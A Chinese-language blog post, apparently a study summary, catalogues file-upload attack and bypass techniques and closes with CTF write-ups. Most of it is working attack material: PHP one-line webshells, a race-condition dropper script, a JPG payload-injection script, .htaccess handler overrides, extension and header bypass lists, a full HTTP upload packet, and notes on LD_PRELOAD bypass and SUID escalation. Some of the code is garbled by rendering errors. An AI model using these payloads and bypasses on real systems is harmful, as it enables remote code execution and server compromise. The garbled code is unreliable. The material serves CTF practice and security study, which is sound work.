当前位置: 首页 > news >正文

文件上传总结

攻击与绕过方式
一、条件竞争
攻击原理:在上传文件的同时利用代码逻辑中的时序问题(如 unlink() 删除操作)触发条件竞争,从而实现上传恶意文件并绕过限制。
示例测试源码:
以下为测试文件上传功能的 PHP 源码:

<?php if (!empty($_FILES)) { move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']); unlink($_FILES['file']['name']); echo "upload fail"; } ?> 木马文件内容: 新建一个php木马名为jignzheng.php,内容如下: <?php fputs(fopen('jz.php','w'),'<?php @eval($_REQUEST[1])?>'); ?> 这个马的作用是创建一个名为jz.php的文件,并将一句话木马写入。 攻击脚本: 编写以下 Python 脚本,通过条件竞争的方式,不断访问目标的 jingzhing.php 文件,以触发条件竞争,当用户通过http请求访问.php文件时,web服务器会将该文件传给php解析器解析并执行文件中的代码,将jz.php一句话木马写入到目标目录中: import requests url="http://192.168.1.11/jingzheng/jingzheng.php" check_file="http://192.168.1.11/jingzheng/jz.php" while True: response = requests.get(url) check_response=requests.get(check_file) if check_response.status_code==200: print("success") 使用流程: 先运行python脚本,然后再上传zhengjign.php木马利用Bp中的intruder模块进行条件竞争。之后可以看到同目录下会不断地短暂出现上传的木马jingzheng.php,并且jz.php成功写入。

二、二次渲染结合文件包含绕过
攻击原理:利用图片格式的二次渲染漏洞配合文件包含漏洞解析 PHP 木马代码
1、gif
渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可

2、png
PNG需要将数据写入到 PLTE 数据块 或者 IDAT 数据块

3、jpg
JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试
脚本如下:

<?php $miniPayload = "\<?php eval(\$_REQUEST[1]);?>";

if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
die(‘php-gd is not installed’);
}
if(!isset($argv[1])) {
die(‘php jpg_payload.php <jpg_name.jpg>’);
}

set_error_handler(“custom_error_handler”);

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
d i s = n e w D a t a I n p u t S t r e a m ( dis = new DataInputStream( dis=newDataInputStream(argv[1]);
o u t S t r e a m = f i l e g e t c o n t e n t s ( outStream = file_get_contents( outStream=filegetcontents(argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');
}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}
}

}
unlink(‘payload_’.$argv[1]);
die(‘Something’s wrong’);

function checkImage($filename, $data, $unlink = FALSE) {
global c o r r e c t I m a g e ; f i l e p u t c o n t e n t s ( correctImage; file_put_contents( correctImage;fileputcontents(filename, $data);
c o r r e c t I m a g e = T R U E ; i m a g e c r e a t e f r o m j p e g ( correctImage = TRUE; imagecreatefromjpeg( correctImage=TRUE;imagecreatefromjpeg(filename);
if( u n l i n k ) u n l i n k ( unlink) unlink( unlink)unlink(filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(isset(m[1])) {
e x t r a B y t e s = ( i n t ) extraBytes = (int) extraBytes=(int)m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);
}public function seek() {return ($this->size - strlen($this->binData));
}public function skip($skip) {$this->binData = substr($this->binData, $skip);
}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);
}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;
}public function eof() {return !$this->binData||(strlen($this->binData) === 0);
}

}
?>
将脚本保存为jpg_payload.php,使用命令:php jpg_payload.php jpg_name.jpg

二次渲染木马使用方法:
配合文件包含,利用文件包含漏洞解析图片马中的php代码,获取webshell
以upload-labs第17关为例,随便上传一个二次渲染的图片,然后利用include.php中的文件包含漏洞。
使用蚁剑进行连接即可:
http://192.168.1.11/upload-labs-master/include.php?file=upload/27740.gif

三、.htaccess解析绕过
攻击原理:.htaccess 是 Apache HTTP 服务器的配置文件,作用范围通常是其所在目录及子目录。它可以用来控制访问权限、重定向规则、URL 重写、MIME 类型设置等。
攻击者可以通过上传 .htaccess 文件,修改服务器的默认行为,来绕过限制、执行恶意代码或访问敏感资源。

将特定后缀文件解析成php,这里将.jpg后缀文件强制解析成php脚本
AddType application/x-httpd-php .jpg

<FilesMatch “jpg”>

SetHandler application/x-httpd-php

将所有文件解析为 PHP
ForceType application/x-httpd-php
然后再上传一个jpg后缀的木马就可以了,蚁剑连接时候也是使用jpg结尾的文件。
有时候为了绕过,直接在内容头前面加GIF89a会报错500(出现语法错误)。
#define width 1
#define height 1
<FilesMatch “hey.hey”>
SetHandler application/x-httpd-php

四、文件后缀名绕过
1、文件特殊后缀名+大小写绕过
语言 默认可解析后缀 绕过方法(盲猜可解析后缀)
php .php .html .htm 【apache】 php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
asp.net 【IIS】 asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
jsp *.jsp *.jspx 【tomcat】 jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
2、:: D A T A 绕过 : : DATA绕过 :: DATA绕过::DATA是NTFS流类型的一种
在windwos系统中,如果上传文件名为xxx.php:: D A T A ,会在服务器上生成一个 x x x . p h p 文件,其内容与上传的文件内容相同,并且会被解析。示例:利用 B p 抓包截断 h t t p 请求之后,在文件后缀名处添加 : : DATA,会在服务器上生成一个xxx.php文件,其内容与上传的文件内容相同,并且会被解析。 示例: 利用Bp抓包截断http请求之后,在文件后缀名处添加:: DATA,会在服务器上生成一个xxx.php文件,其内容与上传的文件内容相同,并且会被解析。示例:利用Bp抓包截断http请求之后,在文件后缀名处添加::DATA即可
3、双后缀名绕过
漏洞背景:文件上传的源代码过滤部分,会将文件名称中的敏感字符进行清除,但只做了一次过滤
示例:
利用Bp抓包截断http请求之后,a.php==>a.pphphp
4、点绕过
windows系统下,文件后缀名最后一个点会被自动去除
linux系统下,文化后缀名最后一个点不会被自动去除
所以在windows系统下利用bp截断http请求,在上传文件后缀后加.绕过上传
例如: demo.php.
5、空格绕过
windows系统下,对于文件名【demo.php(空格)】会被当作空处理,检测代码不能自动删除空格,从而绕过黑名单。文件上传后,会自动删除空格,从而绕过

五、文件头绕过
攻击原理:在浏览器上传文件到服务器时白名单会对文件头进行检测,在上传的木马内容前面加上特定的文件头即可绕过前端验证
常用的图片文件头:
jpg FFD8FFE000104A464946 ÿØÿà…JFIF
png 89504E470D0A1A0A %PNG…
gif 474946383961 GIF89a
一般使用gif

六、短标签绕过
攻击原理:利用 PHP 短标签(<? 或 <?=)执行代码,需服务器支持短标签配置

<? @eval($_REQUEST['1']); ?>

<% echo “Hello, World!”; %> //需要在php.ini中开启asp_tags选项

七、MIME(Content-Type)绕过
攻击原理:HTTP协议规定上传资源时,需要在headers中加上MIMETYPE(Content-Type)来识别文件类型,通过修改该字段内容绕过检测

将Content-Type: application/octet-stream修改为Content-Type: image/jepg即可,如果限制其他文件类型,修改成对应的Mime类型即可
文件后缀 Mime类型 说明
.gif 或.png image/gif(image/png) GIF图形/PNG图片
.jpeg或.jpg image/jpeg JPEG图形
.txt text/plain 普通文本
.exe application/octet-stream 下载文件类型

八、00截断
攻击原理:无论是0x00还是%00最终都会被解析成chr(0) 而0对于的字符是NULL,即空字符。当一个字符串中存在空字符时,空字符后面的字符会被丢弃(即终止读取)。
例如:文件1.php.jpg插入空字符变成1.php0x00.jpg,解析之后只剩1.php
使用:
1、在上传文件后缀名的地方使用%00绕过前端验证:1.php==>1.php%00.jpg
2、在文件路径处使用%00绕过后端验证:uploads/==>uploads/xxx.php%00

九、垃圾字符绕过
攻击原理:在上传的数据中添加大量无用字符进行绕过检测逻辑

或者在参数中添加大量无用字符进行参数污染绕过

十、中间件解析漏洞
1、IIS解析漏洞
在IIS6版本中,当攻击者访问http://www.test.com/bitsec.php/xxx.jpg这样的url时,服务器会默认将PHP目录下的文件解析为php文件。因此虽然文件后缀为jpg,但依然会被作为PHP执行。
在IIS5和IIS6版本中,当攻击者访问http://www.test.com/bitsec.php;.jpg这样的url时,服务器会默认不解析“;”后面的内容,因此bitsec.php;.jpg就被作为bitsec.php解析执行。
2、Apache解析漏洞
1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。
3、Nginx解析漏洞
在Nginx 0.8.41到1.5.6的版本中,攻击者可以利用多种方式解析文件。攻击者正常访问http://www.test.com/image/bitsec.jpg时,会正常显示图片。但是当攻击者通过下面的方式进行访问时,就被解析为PHP文件。
http://www.test.com/image/bitsec.jpg/bitsec.php (目录解析)
http://www.test.com/image/bitsec.jpg%00.php (截断解析)
http://www.test.com/image/bitsec.jpg%20\0.php (截断解析)

十一、构造绕过
??_x0010_JFIF

<?=$a='sys';$b='tem';$funcName=$a.$b;$x='funcName';$$x($_REQUEST[1]);?>

十二、Content-Disposition绕过
攻击原理:Content-Disposition是HTTP协议中的一个头部字段,用来描述内容是直接展示还是以附件的形式下载,通过修改该字段影响服务器对文件的解析。
格式:
Content-Disposition: disposition-type; parameter1=value1; parameter2=value2
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
绕过思路:
● 将form-data改为~form-data
Content-Disposition: ~form-data; name=“uploaded”; filename=“muma.php”
● 替换大小写
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
Content-Type: application/octet-stream
将Content-Disposition、form-data、Content-Type中的字母进行大小写替换
● 增减空格
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name=“file”; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
将Content-Disposition修改为 Content- Disposition -后面加空格
● 字符串拼接
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
将 form-data 修改为 f+orm-d+ata
● 利用HTTP headers属性名绕过
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png
C.php”
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.
● 利用HTTP headers属性值绕过
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
将form-data 替换为 * 来绕过
Content-Disposition: *; name=“uploaded”; filename=“muma.php”
● 等效替换
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
在boundary后面加入空格即可
● 增减回车
原内容:
Content-Disposition: form-data; name=“up_picture”; filename=“muma.php”
添加回车
Content-Disposition: form-data; name=“up_picture”; filename=“muma.php”
十三、突破突破大小限制(getimagesize)
.htaccess
#define width 1
#define height 1
<FilesMatch “hey.hey”>
SetHandler application/x-httpd-php

hey.hey
#define width 1
#define height 1

<?php eval($_REQUEST[1]);?>

题目练习
[SWPUCTF 2021 新生赛]easyupload1.0
MIME(Content-Type)绕过
限制了Content-Type,修改为Content-Type: image/jpeg即可
写入的一句话木马

<?php @eval($_REQUEST['1']);?>

获取flag:
查看phpinfo中的环境变量,这里使用蚁剑连接查找里面的flag是假的

[SWPUCTF 2021 新生赛]easyupload2.0
文件后缀名绕过
限制了文件后缀名,将.php后缀修改为.pht、.phtm、.phtml等都可以绕过
一句话木马同上,然后使用蚁剑进行连接
[SWPUCTF 2021 新生赛]easyupload3.0
.htaccess绕过
上传一个.htaccess
<FilesMatch “jpg”>

SetHandler application/x-httpd-php

再上传一个.jpg后缀的木马之后连接即可。

[强网杯 2019]upload
蜀道山2024奶龙牌WAF
添加大量垃圾字符绕过
给了源码

<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) { $file = $_FILES['upload_file']; if ($file['error'] === UPLOAD_ERR_OK) { $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']); $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) { die("不允许上传此类文件!"); } if ($file['size'] > 2 * 1024 * 1024) { die("文件大小超过限制!"); } $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000); $dangerous_patterns = [ '/<\?php/i', '/<\?=/', '/<\?xml/', '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i', '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i', '/--\s/', '/\/\*\s.*\*\//', '/#/', '/

} else {
?>




你能逃出奶龙的WAF吗?











<?php } ?>

漏洞利用点1:
n a m e = i s s e t ( name = isset( name=isset(_GET[‘name’]) ? G E T [ ′ n a m e ′ ] : b a s e n a m e ( _GET['name'] : basename( GET[name]:basename(file[‘name’]);
f i l e E x t e n s i o n = s t r t o l o w e r ( p a t h i n f o ( fileExtension = strtolower(pathinfo( fileExtension=strtolower(pathinfo(name, PATHINFO_EXTENSION));

    if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {die("不允许上传此类文件!");}

这段代码获取文件的拓展名,并过滤了ph和hta。
这里可以思考一下让拓展名往后移,例如:1.php.abc

漏洞利用点2:
if (move_uploaded_file($_FILES[‘upload_file’][‘tmp_name’], $new_file_name)) {
echo “文件上传成功!”;
}
move_uploaded_file函数是php的一个内置函数,用于将上传的文件从临时目录移动到指定的目录中。
当move_uploaded_file函数的参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.
因此可以构造save_path=1.php/. 这样file_text的值为空,就可以绕过黑名单,并且move_uploaded_file函数会忽略掉文件末尾的/. 实现保存文件为1.php

绕过方式:
f i l e c o n t e n t = f i l e g e t c o n t e n t s ( file_content = file_get_contents( filecontent=filegetcontents(file[‘tmp_name’], false, null, 0, 5000);
因为只读取前5000字节进行校验,可以在一句话木马前面加上脏数据
foreach ($dangerous_patterns as KaTeX parse error: Expected '}', got 'EOF' at end of input: …if (preg_match(pattern, $file_content)) {
die(“内容包含危险字符,上传被奶龙拦截!”);
}
}
这里的preg_match函数也可以使用PCRE回溯次数限制来绕过
并且注意文件名称由下面这段代码决定
n a m e = i s s e t ( name = isset( name=isset(_GET[‘name’]) ? G E T [ ′ n a m e ′ ] : b a s e n a m e ( _GET['name'] : basename( GET[name]:basename(file[‘name’]);
payload数据包:
POST /?name=1.php/. HTTP/1.1
Host: gz.imxbt.cn:20116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------3963895074739992901366514230
Content-Length: 5770
Origin: http://gz.imxbt.cn:20116
Connection: close
Referer: http://gz.imxbt.cn:20116/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------3963895074739992901366514230
Content-Disposition: form-data; name=“upload_file”; filename=“1.php/.”
Content-Type: application/octet-stream

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

<?php @eval($_REQUEST['1']);?>

-----------------------------3963895074739992901366514230–

[GHCTF 2024 新生赛]PermissionDenied(file_put_contents文件解析漏洞、SUID提权)

<?php function blacklist($file){ $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini"); $ext = pathinfo($file, PATHINFO_EXTENSION); foreach ($deny_ext as $value) { if (stristr($ext, $value)){ return false; } } return true; } if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $filecontent = file_get_contents($_FILES['file']['tmp_name']); if(blacklist($filename)){ file_put_contents($filename, $filecontent); echo "Success!!!"; } else { echo "Hacker!!!"; } } else{ highlight_file(__FILE__); } 代码解析 pathinfo(string $path, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME) pathinfo函数第一个参数比填,第二个参数可选,如果不填,默认全部返回(目录名、文件名、文件拓展名、不包含拓展名的文件名) 这里返回的是文件拓展名 第一段代码的作用就是黑名单过滤文件拓展名。 第二段代码中,file_put_contents($filename, $filecontent);这两个参数都可控。 由于第一个参数是文件路径,当上传一个名为b.php/.的文件时,这个函数会认为是在b.php这个文件所在的目录下创建一个名为.的文件,但最终上传的是b.php文件。 先创建一个a.php,作为要写入的马。(连shell和看phpinfo) <?php eval($_REQUEST[1]);phpinfo(); ?>

接下来使用python脚本传入文件
import requests

url = “http://node6.anna.nssctf.cn:21549/”
file = {
“file”: (“b.php%2f.”, open(‘a.php’, ‘rb’))
}
res = requests.post(url=url, files=file)
print(res.text)
接下来蚁剑连接b.php。
在根目录发现flag,但是权限为0740,无法查看

接下来想办法提权。在终端输入了一些命令发现都回显ret=127
查看phpinfo里面的disable_function,发现过滤了很多。

这里用到了LD_PRELOAD这个系统的环境变量,它允许你加载别的动态链接库,甚至覆盖正常的函数库。
当拿到webshell,却发现无法执行系统命令,并且是disable_functions禁用了命令执行函数时,就可以通过环境变量LD_PRELOAD劫持系统函数,达到执行系统命令的目的

使用bypass_disablefunc_via_LD_PRELOAD进行绕过,发现/tmp有777权限,将bypass_disablefunc_x64.so传入,再将bypass_disablefunc.php传入/var/www/html中,就能进行命令执行。
或者这里使用蚁剑的插件,然后进行SUID提权

相关文章:

文件上传总结

攻击与绕过方式 一、条件竞争 攻击原理&#xff1a;在上传文件的同时利用代码逻辑中的时序问题&#xff08;如 unlink() 删除操作&#xff09;触发条件竞争&#xff0c;从而实现上传恶意文件并绕过限制。 示例测试源码&#xff1a; 以下为测试文件上传功能的 PHP 源码&#xff…...

在文档里如何引用在线SVG甘特图

在文档里如何引用在线SVG甘特图 介绍 本文将详细介绍如何快速创建一个功能强大的在线甘特图&#xff0c;并将其嵌入到其他文档&#xff08;如 Notion、Wiki、Qiita、GitHub、Obsidian、Email 等&#xff09;中。只要目标工具支持引用网络图片&#xff0c;你就可以轻松实现这一…...

Spring AI 与 Groq 的深度集成:解锁高效 AI 推理新体验

Spring AI 与 Groq 的深度集成&#xff1a;解锁高效 AI 推理新体验 前言 在人工智能飞速发展的当下&#xff0c;AI 推理的效率和性能成为开发者关注的焦点。Groq 作为一款基于 LPU™ 的超快速 AI 推理引擎&#xff0c;凭借其强大的性能&#xff0c;能够支持各类 AI 模型&…...

101alpha---第10

rank(((0 < ts_arg_min(ts_delta(close, 1), 4)) ? ts_delta(close, 1) : ((ts_arg_max(ts_delta(close, 1), 4) < 0) ? ts_delta(close, 1) : (-1 * ts_delta(close, 1))))) alpha 那么我们来看具体含义 吧 rank(((0 < ts_arg_min(ts_delta(close, 1), 4)) ? …...

vim中的查找

在 Vim 中&#xff0c;使用 n 键可以按正向&#xff08;向下&#xff09;继续查找下一个匹配项。若要反向&#xff08;向上&#xff09;查找&#xff0c;可以使用以下方法&#xff1a; 1. 使用 N 键反向查找 在查找命令&#xff08;如 /keyword&#xff09;后&#xff0c;按下…...

什么是IP专线?企业数字化转型的关键网络基础设施

为什么企业需要IP专线&#xff1f; 在当今数字化浪潮席卷全球的背景下&#xff0c;企业网络需求正经历着前所未有的变革。传统网络架构已难以满足现代企业对高效、安全、灵活网络服务的需求&#xff0c;IP专线正是在这一背景下应运而生的关键网络解决方案。 专线服务本质上是…...

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下载软件的方式 认识yum 查找软件包 安装软件包 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 vim命令模式各命令汇总 vim底行模式各命令汇总 Linux编译器 - gcc/g …...

5.11 - 5.12 JDBC+Mybatis+StringBoot项目配置文件

JDBC&#xff1a; 预编译SQL优点&#xff1a;安全&#xff0c;性能更高。 在cmd里面输入java-jar就可以运行jar包。 Mybatis&#xff1a; 持久层框架。用于简化JDBC的开发。 数据库连接池里面放置的是一个一个Connection连接对象。&#xff08;连接池中的连接可以复用&#…...

判断一个数组有没有重复值

要判断一个数组是否包含重复值&#xff0c;你可以使用多种方法。以下是一些常用的方法&#xff1a; 方法 1&#xff1a;使用 Set Set 是一种集合数据结构&#xff0c;它只存储唯一的值。因此&#xff0c;你可以将数组转换为 Set&#xff0c;然后比较 Set 的大小与数组的长度。…...

51c大模型~合集127

我自己的原文哦~ https://blog.51cto.com/whaosoft/13905076 #Executor-Workers架构 图解Vllm V1系列2 本文详细介绍了vllm v1的Executor-Workers架构&#xff0c;包括Executor的四种类型&#xff08;mp、ray、uni、external_launcher&#xff09;及其适用场景&#xff…...

Spring急速入门

Spring 是 企业级开发的一站式框架&#xff0c;核心是 IOC&#xff08;控制反转&#xff09; 和 AOP&#xff08;面向切面编程&#xff09; 一、Spring 核心&#xff1a;IOC 理论 1. 什么是 IOC&#xff1f; IOC&#xff08;Inversion of Control&#xff0c;控制反转&…...

#在 CentOS 7 中手动编译安装软件操作及原理

在 CentOS 7 中&#xff0c;手动编译安装软件&#xff08;即从源代码编译安装&#xff09;是一种高度灵活的方式&#xff0c;适用于需要定制化软件功能、优化性能或安装官方仓库未提供的软件版本的场景。以下是针对手动编译安装的详细说明&#xff0c;包括原理、步骤、注意事项…...

【Kubernetes】初识基础理论(第一篇)

前言 单机容器编排&#xff1a; docker-compose 容器集群编排&#xff1a; docker swarm、mesosmarathon、kubernetes 应用编排&#xff1a; ansible 一、Kubernetes概述 Kubernetes 是一个可移植的、可扩展的开源平台&#xff0c;用于管理容器化的…...

配置集群(yarn)

在配置 YARN 集群前&#xff0c;要先完成以下准备工作&#xff1a; 集群环境规划&#xff1a;明确各节点的角色&#xff0c;如 ResourceManager、NodeManager 等。网络环境搭建&#xff1a;保证各个节点之间能够通过网络互通。时间同步设置&#xff1a;安装 NTP 服务&#xff0…...

按钮导航组件 | 纯血鸿蒙组件库AUI

摘要&#xff1a; 按钮导航组件(A_ButtonNav)&#xff1a;可设置导航数据(含文本及路由)&#xff0c;可设置按钮颜色、导航标题及导航子标题。 一、组件调用方式 1.1.极简调用&#xff1a; 用 A_ButtonNav 调用“按钮导航组件”&#xff0c;只需要给属性 data &#xff08;导…...

自适应主从复制模拟器的构建与研究

自适应主从复制模拟器的构建与研究 摘要: 本文旨在构建一个自适应主从复制模拟器,深入研究主从复制原理及优化方法。从研究者视角出发,详细阐述模拟器的设计、实现与实验过程,通过表格、图表及代码等辅助手段,逐步探讨如何在不同网络条件和负载下,自动调整主从复制参数和…...

015枚举之滑动窗口——算法备赛

滑动窗口 最大子数组和 题目描述 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 原题链接 思路分析 见代码注解 代码 int maxSubArray(vector<int>& num…...

【Dv3Admin】工具视图配置文件解析

在开发后台管理系统时,处理复杂的 CRUD 操作是常见的需求。Django Rest Framework(DRF)通过 ModelViewSet 提供了基础的增删改查功能,但在实际应用中,往往需要扩展更多的功能,如批量操作、权限控制、查询优化等。dvadmin/utils/viewset.py 模块通过继承并扩展 ModelViewS…...

在MyBatis Plus里处理LocalDateTime类型

在MyBatis Plus里处理LocalDateTime类型 在MyBatis Plus里处理LocalDateTime类型时&#xff0c;你要确保数据库字段和Java实体类属性之间的类型映射是正确的。下面为你介绍处理这种情况的方法&#xff1a; 1. 数据库字段类型对应设置 要保证数据库字段类型和LocalDateTime相…...

编程技能:字符串函数03,strncpy

